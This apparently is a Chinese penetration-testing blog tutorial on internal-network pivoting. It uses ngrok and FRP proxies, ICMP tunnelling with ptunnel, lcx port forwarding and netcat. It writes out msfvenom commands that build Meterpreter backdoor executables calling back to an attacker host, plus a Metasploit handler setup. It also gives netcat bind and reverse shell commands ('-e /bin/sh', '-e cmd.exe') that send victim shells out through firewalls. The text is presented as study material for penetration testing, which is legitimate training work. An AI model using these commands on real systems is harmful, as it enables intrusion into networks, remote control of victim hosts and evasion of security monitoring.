0x00 内网渗透为什么使用代理与隧道技术
简单的来讲,当拿到某网络主机的权限,发现无法将流量或者权限发送出来,对渗透造成了很大的影响,所以内网渗透必须需要了解到两个技术知识,代理与隧道技术。
1)代理技术解决的问题:代理简单来讲解决网络之间的通信问题,如内网与外网之间或者两者自己之间的通信,两个不同内网的通信就必须借助到代理,否则无法通讯。
2)隧道技术解决的问题:简单来讲就是解决流量无法发送,隧道技术多用来绕过一些安全设备的监控,如防火墙过滤问题,网络连接通讯问题,数据回链封装问题,对我们发送的流量进行了拦截,这个时候需要接触隧道技术绕过拦截,隧道技术就是使用不同的协议把走不通的路走通。走不同的协议技术建立通讯,可以说是其中也包括了一些代理的技术。
0x01 代理技术-Ngrok穿透双内网
代理思路:将两台不同内网主机,上线其中一台包含网络的受害机,payload设置其将流量转发至代理,在使用攻击机接受代理流量即可,测试ngrok不太稳定,建议搭建Frp代理,
代理参考网站:https://www.ngrok.cc/ 客户端下载对应的软件: 配置代理: 后门上线监听:msfvenom -p windows/meterpreter/reverse_http lhost=xxxx.free.idcfengye.com lport=80 -f exe -o test.exe
开启代理: 上线监听即可: 代理流量:
Frp搭建参考:
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件 frps.ini:
[common]
bind_port = 6677
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件 frpc.ini:
[common]
server_addr = 你的云主机 ip
server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行 frp 即可
0x02 隧道技术学习
隧道技术使用在不同的网络层进行,大体总结了以下三种: 网络层:IPV6隧道,ICMP隧道 传输层:TCP隧道,UDP隧道,常规的端口转发 应用层:SSH隧道,HTTP/S隧道,DNS隧道
需要注意的是,使用某种隧道之前,需要检查环境本身是否支持这种协议的使用,才能去使用响应的隧道传输
连通性检测:
- TCP 协议 用“瑞士军刀”——netcat 执行 nc 命令:nc <端口>
- HTTP 协议 用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息
- ICMP 协议 用“ping”命令,执行 ping <IP 地址/域名>
- DNS 协议 检测 DNS 连通性常用的命令是“nslookup”和“dig” nslookup 是 windows 自带的 DNS 探测命令 dig 是 linux 系统自带的 DNS 探测命令
案例1)网络层ICMP隧道: 环境:kali(黑客)-pc1-pc2(pc1上面存在两张网卡,可与pc2相同也可以与kali相通)
隧道工具介绍: pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具 -p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码 连接前使用ping命令检测是否存在icmp协议
pc1:./ptunnel -x xiaodi
Hacker kali:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
#转发的 3389请求数据给本地 1080
Hacker kali:rdesktop 127.0.0.1 1080
工具学习连接: 老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译) 新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
案例2)传输层端口转发隧道: 工具使用: windows: lcx 学习链接:https://github.com/UndefinedIdentifier/LCX linux:portmap 学习链接:github
lcx转发流程: 1.lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3333 2.lcx -listen 3333 4444 //监听 3333 转发至 4444 3.kali连接4444端口等于连接第一台的3389端口
案例3)传输层转发隧道 Netcat 使用 (1):nc的正向连接与反向连接 正向:攻击机主动连接受害机
受害机发送出端口以及权限:
nc -ldp 1234 -e /bin/sh //linux版本
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows版本
攻击机主动连接:
nc 192.168.213.132 1234
反向:受害机连接攻击机
攻击机接收端口:nc -lvp 1234
受害机发送出权限:
nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe
(2)反向配合端口转发:
pc1:Lcx.exe -listen 2222 3333 #将端口2222转发到3333
pc2:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe #将权限发送给IP的2222
kali 攻击机:nc -v 192.168.76.143 3333 #监听3333就等于监听了pc2发送出来的权限
(3)相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.213.132 端口扫描:nc -v -z 192.168.213.132 1-100 端口监听:nc -lvp xxxx 文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt-q 1 反弹 Shell:见上
提供参考学习,多找百度咨询问题/狗头
交流学习: 博客:http://www.kxsy.work CSND社区:告白热
|